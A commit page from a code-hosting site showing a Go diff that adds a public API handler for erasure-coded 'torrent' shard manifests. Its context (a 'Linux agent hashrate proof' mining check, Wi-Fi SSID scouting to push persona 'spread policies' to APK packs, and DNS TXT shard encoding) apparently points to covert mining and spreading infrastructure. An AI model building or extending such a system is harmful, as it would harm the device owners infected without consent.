Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -207,6 +207,47 @@ func encodeDNSTXTShard(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-torrent/{token}/manifest
|
||||
func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
p, ok := h.erasureShards.ParamsFor(token)
|
||||
if !ok {
|
||||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
total := p.TotalShards()
|
||||
shards := make([][]byte, total)
|
||||
hasAny := false
|
||||
for i := 0; i < total; i++ {
|
||||
if sh, ok := h.erasureShards.Get(token, i); ok {
|
||||
shards[i] = sh
|
||||
hasAny = true
|
||||
}
|
||||
}
|
||||
if !hasAny {
|
||||
http.Error(w, "torrent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
|
||||
if base == "://" {
|
||||
base = "http://127.0.0.1:8989"
|
||||
}
|
||||
manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, manifest)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-shard/{token}/{index}
|
||||
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
|
||||
Reference in New Issue
Block a user